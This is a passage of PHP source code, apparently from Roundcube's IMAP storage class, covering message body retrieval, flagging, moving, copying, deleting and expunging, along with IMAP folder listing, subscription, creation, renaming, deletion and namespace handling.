            $o_part->charset         = $part_data['charset'] ?? null;
            $o_part->size            = $part_data['size'] ?? 0;
        }

        $body = '';

        // Note: multipart/* parts will have size=0, we don't want to ignore them
        if ($o_part && ($o_part->size || $o_part->ctype_primary == 'multipart')) {
            $formatted = $formatted && $o_part->ctype_primary == 'text';
            $body = $this->conn->handlePartBody($this->folder, $uid, true,
                $part ? $part : 'TEXT', $o_part->encoding, $print, $fp, $formatted, $max_bytes);
        }

        if ($fp || $print) {
            return true;
        }

        // convert charset (if text or message part)
        if ($body && preg_match('/^(text|message)$/', $o_part->ctype_primary)) {
            // Remove NULL characters if any (#1486189)
            if ($formatted && strpos($body, "\x00") !== false) {
                $body = str_replace("\x00", '', $body);
            }

            if (!$skip_charset_conv) {
                if (!$o_part->charset || strtoupper($o_part->charset) == 'US-ASCII') {
                    // try to extract charset information from HTML meta tag (#1488125)
                    if ($o_part->ctype_secondary == 'html' && preg_match('/<meta[^>]+charset=([a-z0-9-_]+)/i', $body, $m)) {
                        $o_part->charset = strtoupper($m[1]);
                    }
                    else {
                        $o_part->charset = $this->default_charset;
                    }
                }
                $body = rcube_charset::convert($body, $o_part->charset);
            }
        }

        return $body;
    }

    /**
     * Returns the whole message source as string (or saves to a file)
     *
     * @param int      $uid  Message UID
     * @param resource $fp   File pointer to save the message
     * @param string   $part Optional message part ID
     *
     * @return string Message source string
     */
    public function get_raw_body($uid, $fp = null, $part = null)
    {
        if (!$this->check_connection()) {
            return null;
        }

        return $this->conn->handlePartBody($this->folder, $uid,
            true, $part, null, false, $fp);
    }

    /**
     * Returns the message headers as string
     *
     * @param int    $uid  Message UID
     * @param string $part Optional message part ID
     *
     * @return string Message headers string
     */
    public function get_raw_headers($uid, $part = null)
    {
        if (!$this->check_connection()) {
            return null;
        }

        return $this->conn->fetchPartHeader($this->folder, $uid, true, $part);
    }

    /**
     * Sends the whole message source to stdout
     *
     * @param int  $uid       Message UID
     * @param bool $formatted Enables line-ending formatting
     */
    public function print_raw_body($uid, $formatted = true)
    {
        if (!$this->check_connection()) {
            return;
        }

        $this->conn->handlePartBody($this->folder, $uid, true, null, null, true, null, $formatted);
    }

    /**
     * Set message flag to one or several messages
     *
     * @param mixed  $uids       Message UIDs as array or comma-separated string, or '*'
     * @param string $flag       Flag to set: SEEN, UNDELETED, DELETED, RECENT, ANSWERED, DRAFT, MDNSENT
     * @param string $folder     Folder name
     * @param bool   $skip_cache True to skip message cache clean up
     *
     * @return bool Operation status
     */
    public function set_flag($uids, $flag, $folder = null, $skip_cache = false)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $flag = strtoupper($flag);
        list($uids, $all_mode) = $this->parse_uids($uids);

        if (strpos($flag, 'UN') === 0) {
            $result = $this->conn->unflag($folder, $uids, substr($flag, 2));
        }
        else {
            $result = $this->conn->flag($folder, $uids, $flag);
        }

        if ($result && !$skip_cache) {
            // reload message headers if cached
            // update flags instead removing from cache
            if ($mcache = $this->get_mcache_engine()) {
                $status = strpos($flag, 'UN') !== 0;
                $mflag  = preg_replace('/^UN/', '', $flag);
                $mcache->change_flag($folder, $all_mode ? null : explode(',', $uids),
                    $mflag, $status);
            }

            // clear cached counters
            if ($flag == 'SEEN' || $flag == 'UNSEEN') {
                $this->clear_messagecount($folder, ['SEEN', 'UNSEEN']);
            }
            else if ($flag == 'DELETED' || $flag == 'UNDELETED') {
                $this->clear_messagecount($folder, ['ALL', 'THREADS']);
                if ($this->options['skip_deleted']) {
                    // remove cached messages
                    $this->clear_message_cache($folder, $all_mode ? null : explode(',', $uids));
                }
            }

            $this->set_search_dirty($folder);
        }

        return $result;
    }

    /**
     * Append a mail message (source) to a specific folder
     *
     * @param string       $folder  Target folder
     * @param string|array $message The message source string or filename
     *                              or array (of strings and file pointers)
     * @param string       $headers Headers string if $message contains only the body
     * @param bool         $is_file True if $message is a filename
     * @param array        $flags   Message flags
     * @param mixed        $date    Message internal date
     * @param bool         $binary  Enables BINARY append
     *
     * @return int|bool Appended message UID or True on success, False on error
     */
    public function save_message($folder, &$message, $headers = '', $is_file = false, $flags = [], $date = null, $binary = false)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        if (!$this->check_connection()) {
            return false;
        }

        // make sure folder exists
        if (!$this->folder_exists($folder)) {
            return false;
        }

        $date = $this->date_format($date);

        if ($is_file) {
            $saved = $this->conn->appendFromFile($folder, $message, $headers, $flags, $date, $binary);
        }
        else {
            $saved = $this->conn->append($folder, $message, $flags, $date, $binary);
        }

        if ($saved) {
            // increase messagecount of the target folder
            $this->set_messagecount($folder, 'ALL', 1);

            $this->plugins->exec_hook('message_saved', [
                    'folder'  => $folder,
                    'message' => $message,
                    'headers' => $headers,
                    'is_file' => $is_file,
                    'flags'   => $flags,
                    'date'    => $date,
                    'binary'  => $binary,
                    'result'  => $saved,
            ]);
        }

        return $saved;
    }

    /**
     * Move a message from one folder to another
     *
     * @param mixed  $uids      Message UIDs as array or comma-separated string, or '*'
     * @param string $to_mbox   Target folder
     * @param string $from_mbox Source folder
     *
     * @return bool True on success, False on error
     */
    public function move_message($uids, $to_mbox, $from_mbox = '')
    {
        if (!strlen($from_mbox)) {
            $from_mbox = $this->folder;
        }

        if ($to_mbox === $from_mbox) {
            return false;
        }

        list($uids, $all_mode) = $this->parse_uids($uids);

        // exit if no message uids are specified
        if (empty($uids)) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $config   = rcube::get_instance()->config;
        $to_trash = $to_mbox == $config->get('trash_mbox');

        // flag messages as read before moving them
        if ($to_trash && $config->get('read_when_deleted')) {
            // don't flush cache (4th argument)
            $this->set_flag($uids, 'SEEN', $from_mbox, true);
        }

        // move messages
        $moved = $this->conn->move($uids, $from_mbox, $to_mbox);

        // when moving to Trash we make sure the folder exists
        // as it's uncommon scenario we do this when MOVE fails, not before
        if (!$moved && $to_trash && $this->get_response_code() == rcube_storage::TRYCREATE) {
            if ($this->create_folder($to_mbox, true, 'trash')) {
                $moved = $this->conn->move($uids, $from_mbox, $to_mbox);
            }
        }

        if ($moved) {
            $this->clear_messagecount($from_mbox);
            $this->clear_messagecount($to_mbox);
            $this->set_search_dirty($from_mbox);
            $this->set_search_dirty($to_mbox);

            // unset threads internal cache
            unset($this->icache['threads']);

            // remove message ids from search set
            if ($this->search_set && $from_mbox == $this->folder) {
                // threads are too complicated to just remove messages from set
                if ($this->search_threads || $all_mode) {
                    $this->refresh_search();
                }
                else if (!$this->search_set->incomplete) {
                    $this->search_set->filter(explode(',', $uids), $this->folder);
                }
            }

            // remove cached messages
            // @TODO: do cache update instead of clearing it
            $this->clear_message_cache($from_mbox, $all_mode ? null : explode(',', $uids));
        }

        return $moved;
    }

    /**
     * Copy a message from one folder to another
     *
     * @param mixed  $uids      Message UIDs as array or comma-separated string, or '*'
     * @param string $to_mbox   Target folder
     * @param string $from_mbox Source folder
     *
     * @return bool True on success, False on error
     */
    public function copy_message($uids, $to_mbox, $from_mbox = '')
    {
        if (!strlen($from_mbox)) {
            $from_mbox = $this->folder;
        }

        list($uids, ) = $this->parse_uids($uids);

        // exit if no message uids are specified
        if (empty($uids)) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        // copy messages
        $copied = $this->conn->copy($uids, $from_mbox, $to_mbox);

        if ($copied) {
            $this->clear_messagecount($to_mbox);
        }

        return $copied;
    }

    /**
     * Mark messages as deleted and expunge them
     *
     * @param mixed  $uids   Message UIDs as array or comma-separated string, or '*'
     * @param string $folder Source folder
     *
     * @return bool True on success, False on error
     */
    public function delete_message($uids, $folder = '')
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        list($uids, $all_mode) = $this->parse_uids($uids);

        // exit if no message uids are specified
        if (empty($uids)) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $deleted = $this->conn->flag($folder, $uids, 'DELETED');

        if ($deleted) {
            // send expunge command in order to have the deleted message
            // really deleted from the folder
            $this->expunge_message($uids, $folder, false);
            $this->clear_messagecount($folder);

            // unset threads internal cache
            unset($this->icache['threads']);

            $this->set_search_dirty($folder);

            // remove message ids from search set
            if ($this->search_set && $folder == $this->folder) {
                // threads are too complicated to just remove messages from set
                if ($this->search_threads || $all_mode) {
                    $this->refresh_search();
                }
                else if (!$this->search_set->incomplete) {
                    $this->search_set->filter(explode(',', $uids));
                }
            }

            // remove cached messages
            $this->clear_message_cache($folder, $all_mode ? null : explode(',', $uids));
        }

        return $deleted;
    }

    /**
     * Send IMAP expunge command and clear cache
     *
     * @param mixed  $uids        Message UIDs as array or comma-separated string, or '*'
     * @param string $folder      Folder name
     * @param bool   $clear_cache False if cache should not be cleared
     *
     * @return bool True on success, False on failure
     */
    public function expunge_message($uids, $folder = null, $clear_cache = true)
    {
        if ($uids && $this->get_capability('UIDPLUS')) {
            list($uids, $all_mode) = $this->parse_uids($uids);
        }
        else {
            $uids = null;
        }

        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        if (!$this->check_connection()) {
            return false;
        }

        // force folder selection and check if folder is writeable
        // to prevent a situation when CLOSE is executed on closed
        // or EXPUNGE on read-only folder
        $result = $this->conn->select($folder);
        if (!$result) {
            return false;
        }

        // CLOSE(+SELECT) should be faster than EXPUNGE
        if (empty($uids) || !empty($all_mode)) {
            $result = $this->conn->close();
        }
        else {
            $result = $this->conn->expunge($folder, $uids);
        }

        if ($result && $clear_cache) {
            $this->clear_message_cache($folder, (!empty($all_mode) || empty($uids)) ? null : explode(',', $uids));
            $this->clear_messagecount($folder);
        }

        return $result;
    }


    /* --------------------------------
     *        folder management
     * --------------------------------*/

    /**
     * Public method for listing subscribed folders.
     *
     * @param   string  $root      Optional root folder
     * @param   string  $name      Optional name pattern
     * @param   string  $filter    Optional filter
     * @param   string  $rights    Optional ACL requirements
     * @param   bool    $skip_sort Enable to return unsorted list (for better performance)
     *
     * @return  array   List of folders
     */
    public function list_folders_subscribed($root = '', $name = '*', $filter = null, $rights = null, $skip_sort = false)
    {
        $cache_key = rcube_cache::key_name('mailboxes', [$root, $name, $filter, $rights]);

        // get cached folder list
        $a_mboxes = $this->get_cache($cache_key);
        if (is_array($a_mboxes)) {
            return $a_mboxes;
        }

        // Give plugins a chance to provide a list of folders
        $data = $this->plugins->exec_hook('storage_folders',
            ['root' => $root, 'name' => $name, 'filter' => $filter, 'mode' => 'LSUB']);

        if (isset($data['folders'])) {
            $a_mboxes = $data['folders'];
        }
        else {
            $a_mboxes = $this->list_folders_subscribed_direct($root, $name);
        }

        if (!is_array($a_mboxes)) {
            return [];
        }

        // filter folders list according to rights requirements
        if ($rights && $this->get_capability('ACL')) {
            $a_mboxes = $this->filter_rights($a_mboxes, $rights);
        }

        // INBOX should always be available
        if (in_array_nocase($root . $name, ['*', '%', 'INBOX', 'INBOX*'])
            && (!$filter || $filter == 'mail') && !in_array('INBOX', $a_mboxes)
        ) {
            array_unshift($a_mboxes, 'INBOX');
        }

        // sort folders (always sort for cache)
        if (!$skip_sort || $this->cache) {
            $a_mboxes = $this->sort_folder_list($a_mboxes);
        }

        // write folders list to cache
        $this->update_cache($cache_key, $a_mboxes);

        return $a_mboxes;
    }

    /**
     * Method for direct folders listing (LSUB)
     *
     * @param string $root Optional root folder
     * @param string $name Optional name pattern
     *
     * @return array List of subscribed folders
     * @see rcube_imap::list_folders_subscribed()
     */
    public function list_folders_subscribed_direct($root = '', $name = '*')
    {
        if (!$this->check_connection()) {
            return null;
        }

        $config    = rcube::get_instance()->config;
        $list_root = $root === '' && $this->list_root ? $this->list_root : $root;

        // Server supports LIST-EXTENDED, we can use selection options
        // #1486225: Some dovecot versions return wrong result using LIST-EXTENDED
        $list_extended = !$config->get('imap_force_lsub') && $this->get_capability('LIST-EXTENDED');

        if ($list_extended) {
            // This will also set folder options, LSUB doesn't do that
            $result = $this->conn->listMailboxes($list_root, $name, null, ['SUBSCRIBED']);
        }
        else {
            // retrieve list of folders from IMAP server using LSUB
            $result = $this->conn->listSubscribed($list_root, $name);
        }

        if (!is_array($result)) {
            return [];
        }

        // Add/Remove folders according to some configuration options
        $this->list_folders_filter($result, $root . $name, ($list_extended ? 'ext-' : '') . 'subscribed');

        // Save the last command state, so we can ignore errors on any following UNSUBSCRIBE calls
        $state = $this->save_conn_state();

        if ($list_extended) {
            // unsubscribe non-existent folders, remove from the list
            if ($name == '*' && !empty($this->conn->data['LIST'])) {
                foreach ($result as $idx => $folder) {
                    if (($opts = $this->conn->data['LIST'][$folder])
                        && in_array_nocase('\\NonExistent', $opts)
                    ) {
                        $this->conn->unsubscribe($folder);
                        unset($result[$idx]);
                    }
                }
            }
        }
        else {
            // unsubscribe non-existent folders, remove them from the list
            if (!empty($result) && $name == '*') {
                $existing = $this->list_folders($root, $name);

                // Try to make sure the list of existing folders is not malformed,
                // we don't want to unsubscribe existing folders on error
                if (is_array($existing) && (!empty($root) || count($existing) > 1)) {
                    $nonexisting = array_diff($result, $existing);
                    $result      = array_diff($result, $nonexisting);

                    foreach ($nonexisting as $folder) {
                        $this->conn->unsubscribe($folder);
                    }
                }
            }
        }

        $this->restore_conn_state($state);

        return $result;
    }

    /**
     * Get a list of all folders available on the server
     *
     * @param string  $root      IMAP root dir
     * @param string  $name      Optional name pattern
     * @param mixed   $filter    Optional filter
     * @param string  $rights    Optional ACL requirements
     * @param bool    $skip_sort Enable to return unsorted list (for better performance)
     *
     * @return array Indexed array with folder names
     */
    public function list_folders($root = '', $name = '*', $filter = null, $rights = null, $skip_sort = false)
    {
        $cache_key = rcube_cache::key_name('mailboxes.list', [$root, $name, $filter, $rights]);

        // get cached folder list
        $a_mboxes = $this->get_cache($cache_key);
        if (is_array($a_mboxes)) {
            return $a_mboxes;
        }

        // Give plugins a chance to provide a list of folders
        $data = $this->plugins->exec_hook('storage_folders',
            ['root' => $root, 'name' => $name, 'filter' => $filter, 'mode' => 'LIST']);

        if (isset($data['folders'])) {
            $a_mboxes = $data['folders'];
        }
        else {
            // retrieve list of folders from IMAP server
            $a_mboxes = $this->list_folders_direct($root, $name);
        }

        if (!is_array($a_mboxes)) {
            $a_mboxes = [];
        }

        // INBOX should always be available
        if (in_array_nocase($root . $name, ['*', '%', 'INBOX', 'INBOX*'])
            && (!$filter || $filter == 'mail') && !in_array('INBOX', $a_mboxes)
        ) {
            array_unshift($a_mboxes, 'INBOX');
        }

        // cache folder attributes
        if ($root == '' && $name == '*' && empty($filter) && !empty($this->conn->data)) {
            $this->update_cache('mailboxes.attributes', $this->conn->data['LIST']);
        }

        // filter folders list according to rights requirements
        if ($rights && $this->get_capability('ACL')) {
            $a_mboxes = $this->filter_rights($a_mboxes, $rights);
        }

        // filter folders and sort them
        if (!$skip_sort) {
            $a_mboxes = $this->sort_folder_list($a_mboxes);
        }

        // write folders list to cache
        $this->update_cache($cache_key, $a_mboxes);

        return $a_mboxes;
    }

    /**
     * Method for direct folders listing (LIST)
     *
     * @param string $root Optional root folder
     * @param string $name Optional name pattern
     *
     * @return array List of folders
     * @see rcube_imap::list_folders()
     */
    public function list_folders_direct($root = '', $name = '*')
    {
        if (!$this->check_connection()) {
            return null;
        }

        $list_root = $root === '' && $this->list_root ? $this->list_root : $root;

        $result = $this->conn->listMailboxes($list_root, $name);

        if (!is_array($result)) {
            return [];
        }

        // Add/Remove folders according to some configuration options
        $this->list_folders_filter($result, $root . $name);

        return $result;
    }

    /**
     * Apply configured filters on folders list
     */
    protected function list_folders_filter(&$result, $root, $update_type = null)
    {
        $config = rcube::get_instance()->config;

        // #1486796: some server configurations doesn't return folders in all namespaces
        if ($root === '*' && $config->get('imap_force_ns')) {
            $this->list_folders_update($result, $update_type);
        }

        // Remove hidden folders
        if ($config->get('imap_skip_hidden_folders')) {
            $result = array_filter($result, function($v) { return $v[0] != '.'; });
        }

        // Remove folders in shared namespaces (if configured, see self::set_env())
        if ($root === '*' && !empty($this->list_excludes)) {
            $result = array_filter($result, function($v) {
                foreach ($this->list_excludes as $prefix) {
                    if (strpos($v, $prefix) === 0) {
                        return false;
                    }
                }

                return true;
            });
        }
    }

    /**
     * Fix folders list by adding folders from other namespaces.
     * Needed on some servers e.g. Courier IMAP
     *
     * @param array  $result Reference to folders list
     * @param string $type   Listing type (ext-subscribed, subscribed or all)
     */
    protected function list_folders_update(&$result, $type = null)
    {
        $namespace = $this->get_namespace();
        $search    = [];

        // build list of namespace prefixes
        foreach ((array)$namespace as $ns) {
            if (is_array($ns)) {
                foreach ($ns as $ns_data) {
                    if (strlen($ns_data[0])) {
                        $search[] = $ns_data[0];
                    }
                }
            }
        }

        if (!empty($search)) {
            // go through all folders detecting namespace usage
            foreach ($result as $folder) {
                foreach ($search as $idx => $prefix) {
                    if (strpos($folder, $prefix) === 0) {
                        unset($search[$idx]);
                    }
                }
                if (empty($search)) {
                    break;
                }
            }

            // get folders in hidden namespaces and add to the result
            foreach ($search as $prefix) {
                if ($type == 'ext-subscribed') {
                    $list = $this->conn->listMailboxes('', $prefix . '*', null, ['SUBSCRIBED']);
                }
                else if ($type == 'subscribed') {
                    $list = $this->conn->listSubscribed('', $prefix . '*');
                }
                else {
                    $list = $this->conn->listMailboxes('', $prefix . '*');
                }

                if (!empty($list)) {
                    $result = array_merge($result, $list);
                }
            }
        }
    }

    /**
     * Filter the given list of folders according to access rights
     *
     * For performance reasons we assume user has full rights
     * on all personal folders.
     */
    protected function filter_rights($a_folders, $rights)
    {
        $regex = '/('.$rights.')/';

        foreach ($a_folders as $idx => $folder) {
            if ($this->folder_namespace($folder) == 'personal') {
                continue;
            }

            $myrights = implode('', (array)$this->my_rights($folder));

            if ($myrights !== null && !preg_match($regex, $myrights)) {
                unset($a_folders[$idx]);
            }
        }

        return $a_folders;
    }

    /**
     * Get mailbox quota information
     *
     * @param string $folder Folder name
     *
     * @return mixed Quota info or False if not supported
     */
    public function get_quota($folder = null)
    {
        if ($this->get_capability('QUOTA') && $this->check_connection()) {
            return $this->conn->getQuota($folder);
        }

        return false;
    }

    /**
     * Get folder size (size of all messages in a folder)
     *
     * @param string $folder Folder name
     *
     * @return int Folder size in bytes, False on error
     */
    public function folder_size($folder)
    {
        if (!is_string($folder) || !strlen($folder)) {
            return false;
        }

        if (!$this->check_connection()) {
            return 0;
        }

        if ($this->get_capability('STATUS=SIZE')) {
            $status = $this->conn->status($folder, ['SIZE']);
            if (is_array($status) && array_key_exists('SIZE', $status)) {
                return (int) $status['SIZE'];
            }
        }

        // On Cyrus we can use special folder annotation, which should be much faster
        if ($this->get_vendor() == 'cyrus') {
            $idx    = '/shared/vendor/cmu/cyrus-imapd/size';
            $result = $this->get_metadata($folder, $idx, [], true);

            if (!empty($result) && isset($result[$folder][$idx]) && is_numeric($result[$folder][$idx])) {
                return $result[$folder][$idx];
            }
        }

        // @TODO: could we try to use QUOTA here?
        $result = $this->conn->fetchHeaderIndex($folder, '1:*', 'SIZE', false);

        if (is_array($result)) {
            $result = array_sum($result);
        }

        return $result;
    }

    /**
     * Subscribe to a specific folder(s)
     *
     * @param array $folders Folder name(s)
     *
     * @return bool True on success, False on failure
     */
    public function subscribe($folders)
    {
        // let this common function do the main work
        return $this->change_subscription($folders, 'subscribe');
    }

    /**
     * Unsubscribe folder(s)
     *
     * @param array $folders Folder name(s)
     *
     * @return bool True on success, False on failure
     */
    public function unsubscribe($folders)
    {
        // let this common function do the main work
        return $this->change_subscription($folders, 'unsubscribe');
    }

    /**
     * Create a new folder on the server and register it in local cache
     *
     * @param string $folder    New folder name
     * @param bool   $subscribe True if the new folder should be subscribed
     * @param string $type      Optional folder type (junk, trash, drafts, sent, archive)
     * @param bool   $noselect  Make the folder a \NoSelect folder by adding hierarchy
     *                          separator at the end (useful for server that do not support
     *                          both folders and messages as folder children)
     *
     * @return bool True on success, False on failure
     */
    public function create_folder($folder, $subscribe = false, $type = null, $noselect = false)
    {
        if (!$this->check_connection()) {
            return false;
        }

        if ($noselect) {
            $folder .= $this->delimiter;
        }

        $result = $this->conn->createFolder($folder, $type ? ["\\" . ucfirst($type)] : null);

        // Folder creation may fail when specific special-use flag is not supported.
        // Try to create it anyway with no flag specified (#7147)
        if (!$result && $type) {
            $result = $this->conn->createFolder($folder);
        }

        // try to subscribe it
        if ($result) {
            // clear cache
            $this->clear_cache('mailboxes', true);

            if ($subscribe && !$noselect) {
                $this->subscribe($folder);
            }
        }

        return $result;
    }

    /**
     * Set a new name to an existing folder
     *
     * @param string $folder   Folder to rename
     * @param string $new_name New folder name
     *
     * @return bool True on success, False on failure
     */
    public function rename_folder($folder, $new_name)
    {
        if (!strlen($new_name)) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $delm = $this->get_hierarchy_delimiter();

        // get list of subscribed folders
        if ((strpos($folder, '%') === false) && (strpos($folder, '*') === false)) {
            $a_subscribed = $this->list_folders_subscribed($folder . $delm, '*');
            $subscribed   = $this->folder_exists($folder, true);
        }
        else {
            $a_subscribed = $this->list_folders_subscribed();
            $subscribed   = in_array($folder, $a_subscribed);
        }

        $result = $this->conn->renameFolder($folder, $new_name);

        if ($result) {
            // unsubscribe the old folder, subscribe the new one
            if ($subscribed) {
                $this->conn->unsubscribe($folder);
                $this->conn->subscribe($new_name);
            }

            // check if folder children are subscribed
            foreach ($a_subscribed as $c_subscribed) {
                if (strpos($c_subscribed, $folder.$delm) === 0) {
                    $this->conn->unsubscribe($c_subscribed);
                    $this->conn->subscribe(preg_replace('/^'.preg_quote($folder, '/').'/',
                        $new_name, $c_subscribed));

                    // clear cache
                    $this->clear_message_cache($c_subscribed);
                }
            }

            // clear cache
            $this->clear_message_cache($folder);
            $this->clear_cache('mailboxes', true);
        }

        return $result;
    }

    /**
     * Remove folder (with subfolders) from the server
     *
     * @param string $folder Folder name
     *
     * @return bool True on success, False on failure
     */
    public function delete_folder($folder)
    {
        if (!$this->check_connection()) {
            return false;
        }

        $delm = $this->get_hierarchy_delimiter();

        // get list of sub-folders or all folders
        // if folder name contains special characters
        $path       = strpos($folder, '*') === false && strpos($folder, '%') === false ? ($folder . $delm) : '';
        $sub_mboxes = $this->list_folders($path, '*');

        // According to RFC3501 deleting a \Noselect folder
        // with subfolders may fail. To workaround this we delete
        // subfolders first (in reverse order) (#5466)
        if (!empty($sub_mboxes)) {
            foreach (array_reverse($sub_mboxes) as $mbox) {
                if (strpos($mbox, $folder . $delm) === 0) {
                    if ($this->conn->deleteFolder($mbox)) {
                        $this->conn->unsubscribe($mbox);
                        $this->clear_message_cache($mbox);
                    }
                }
            }
        }

        // delete the folder
        if ($result = $this->conn->deleteFolder($folder)) {
            // and unsubscribe it
            $this->conn->unsubscribe($folder);
            $this->clear_message_cache($folder);
        }

        $this->clear_cache('mailboxes', true);

        return $result;
    }

    /**
     * Detect special folder associations stored in storage backend
     */
    public function get_special_folders($forced = false)
    {
        $result = parent::get_special_folders();
        $rcube  = rcube::get_instance();

        // Lock SPECIAL-USE after user preferences change (#4782)
        if ($rcube->config->get('lock_special_folders')) {
            return $result;
        }

        if (isset($this->icache['special-use'])) {
            return array_merge($result, $this->icache['special-use']);
        }

        if (!$forced || !$this->get_capability('SPECIAL-USE')) {
            return $result;
        }

        if (!$this->check_connection()) {
            return $result;
        }

        $types   = array_map(function($value) { return "\\" . ucfirst($value); }, rcube_storage::$folder_types);
        $special = [];

        // request \Subscribed flag in LIST response as performance improvement for folder_exists()
        $folders = $this->conn->listMailboxes('', '*', ['SUBSCRIBED'], ['SPECIAL-USE']);

        if (!empty($folders)) {
            foreach ($folders as $idx => $folder) {
                if (is_array($folder)) {
                    $folder = $idx;
                }
                if (!empty($this->conn->data['LIST'][$folder])) {
                    $flags = $this->conn->data['LIST'][$folder];
                    foreach ($types as $type) {
                        if (in_array($type, $flags)) {
                            $type           = strtolower(substr($type, 1));
                            $special[$type] = $folder;
                        }
                    }
                }
            }
        }

        $this->icache['special-use'] = $special;
        unset($this->icache['special-folders']);

        return array_merge($result, $special);
    }

    /**
     * Set special folder associations stored in storage backend
     */
    public function set_special_folders($specials)
    {
        if (!$this->get_capability('SPECIAL-USE') || !$this->get_capability('METADATA')) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $folders = $this->get_special_folders(true);
        $old     = isset($this->icache['special-use']) ? (array) $this->icache['special-use'] : [];

        foreach ($specials as $type => $folder) {
            if (in_array($type, rcube_storage::$folder_types)) {
                $old_folder = $old[$type] ?? null;
                if ($old_folder !== $folder) {
                    // unset old-folder metadata
                    if ($old_folder !== null) {
                        $this->delete_metadata($old_folder, ['/private/specialuse']);
                    }
                    // set new folder metadata
                    if ($folder) {
                        $this->set_metadata($folder, ['/private/specialuse' => "\\" . ucfirst($type)]);
                    }
                }
            }
        }

        $this->icache['special-use'] = $specials;
        unset($this->icache['special-folders']);

        return true;
    }

    /**
     * Checks if folder exists and is subscribed
     *
     * @param string  $folder       Folder name
     * @param bool    $subscription Enable subscription checking
     *
     * @return bool True or False
     */
    public function folder_exists($folder, $subscription = false)
    {
        if ($folder == 'INBOX') {
            return true;
        }

        $key = $subscription ? 'subscribed' : 'existing';

        if (!empty($this->icache[$key]) && in_array($folder, (array) $this->icache[$key])) {
            return true;
        }

        if (!$this->check_connection()) {
            return false;
        }

        if ($subscription) {
            // It's possible we already called LIST command, check LIST data
            if (!empty($this->conn->data['LIST']) && !empty($this->conn->data['LIST'][$folder])
                && in_array_nocase('\\Subscribed', $this->conn->data['LIST'][$folder])
            ) {
                $a_folders = [$folder];
            }
            else {
                $a_folders = $this->conn->listSubscribed('', $folder);
            }
        }
        else {
            // It's possible we already called LIST command, check LIST data
            if (!empty($this->conn->data['LIST']) && isset($this->conn->data['LIST'][$folder])) {
                $a_folders = [$folder];
            }
            else {
                $a_folders = $this->conn->listMailboxes('', $folder);
            }
        }

        if (is_array($a_folders) && in_array($folder, $a_folders)) {
            $this->icache[$key][] = $folder;
            return true;
        }

        return false;
    }

    /**
     * Returns the namespace where the folder is in
     *
     * @param string $folder Folder name
     *
     * @return string One of 'personal', 'other' or 'shared'
     */
    public function folder_namespace($folder)
    {
        if ($folder == 'INBOX') {
            return 'personal';
        }

        foreach ($this->namespace as $type => $namespace) {
            if (is_array($namespace)) {
                foreach ($namespace as $ns) {
                    if ($len = strlen($ns[0])) {
                        if (($len > 1 && $folder == substr($ns[0], 0, -1))
                            || strpos($folder, $ns[0]) === 0
                        ) {
                            return $type;
                        }
                    }
                }
            }
        }

        return 'personal';
    }

    /**
     * Modify folder name according to personal namespace prefix.
     * For output it removes prefix of the personal namespace if it's possible.
     * For input it adds the prefix. Use it before creating a folder in root
     * of the folders tree.
     *
     * @param string $folder Folder name
     * @param string $mode   Mode name (out/in)
     *
     * @return string Folder name
     */
    public function mod_folder($folder, $mode = 'out')
    {
        $prefix = $this->namespace['prefix_' . $mode] ?? null;

        if ($prefix === null || $prefix === ''
            || !($prefix_len = strlen($prefix)) || !strlen($folder)
        ) {
            return $folder;
        }

        // remove prefix for output
        if ($mode == 'out') {
            if (substr($folder, 0, $prefix_len) === $prefix) {
                return substr($folder, $prefix_len);
            }

            return $folder;
        }

        // add prefix for input (e.g. folder creation)
        return $prefix . $folder;
    }

    /**
     * Gets folder attributes from LIST response, e.g. \Noselect, \Noinferiors
     *
     * @param string $folder Folder name
     * @param bool   $force  Set to True if attributes should be refreshed
     *
     * @return array Options list
     */
    public function folder_attributes($folder, $force = false)
    {
        // get attributes directly from LIST command
        if (!empty($this->conn->data['LIST'])
            && isset($this->conn->data['LIST'][$folder])
            && is_array($this->conn->data['LIST'][$folder])
        ) {
            $opts = $this->conn->data['LIST'][$folder];
        }
        // get cached folder attributes
        else if (!$force) {
            $opts = $this->get_cache('mailboxes.attributes');
            if ($opts && isset($opts[$folder])) {
                $opts = $opts[$folder];
            }
        }

        if (!isset($opts) || !is_array($opts)) {
            if (!$this->check_connection()) {
                return [];
            }

            $this->conn->listMailboxes('', $folder);

            if (isset($this->conn->data['LIST'][$folder])) {
                $opts = $this->conn->data['LIST'][$folder];
            }
        }

        return isset($opts) && is_array($opts) ? $opts : [];
    }

    /**
     * Gets connection (and current folder) data: UIDVALIDITY, EXISTS, RECENT,
     * PERMANENTFLAGS, UIDNEXT, UNSEEN
     *
     * @param string $folder Folder name
     *
     * @return array Data
     */
    public function folder_data($folder)
    {
        if (!strlen((string) $folder)) {
            $folder = $this->folder !== null ? $this->folder : 'INBOX';
        }

        if ($this->conn->selected != $folder) {
            if (!$this->check_connection()) {
                return [];
            }

            if ($this->conn->select($folder)) {
                $this->folder = $folder;
            }
            else {
                return null;
            }
        }

        $data = $this->conn->data;

        // add (E)SEARCH result for ALL UNDELETED query
        if (!empty($this->icache['undeleted_idx'])
            && $this->icache['undeleted_idx']->get_parameters('MAILBOX') == $folder
        ) {
            $data['UNDELETED'] = $this->icache['undeleted_idx'];
        }

        // dovecot does not return HIGHESTMODSEQ until requested, we use it though in our caching system
        // calling STATUS is needed only once, after first use mod-seq db will be maintained
        if (!isset($data['HIGHESTMODSEQ']) && empty($data['NOMODSEQ'])
            && ($this->get_capability('QRESYNC') || $this->get_capability('CONDSTORE'))
        ) {
            if ($add_data = $this->conn->status($folder, ['HIGHESTMODSEQ'])) {
                $data = array_merge($data, $add_data);
            }
        }

        return $data;
    }

    /**
     * Returns extended information about the folder
     *
     * @param string $folder Folder name
     *
     * @return array Data
     */
    public function folder_info($folder)
    {
        if (!empty($this->icache['options']) && $this->icache['options']['name'] == $folder) {
            return $this->icache['options'];
        }

        // get cached metadata
        $cache_key = rcube_cache::key_name('mailboxes.folder-info', [$folder]);
        $cached    = $this->get_cache($cache_key);

        if (is_array($cached)) {
            return $cached;
        }

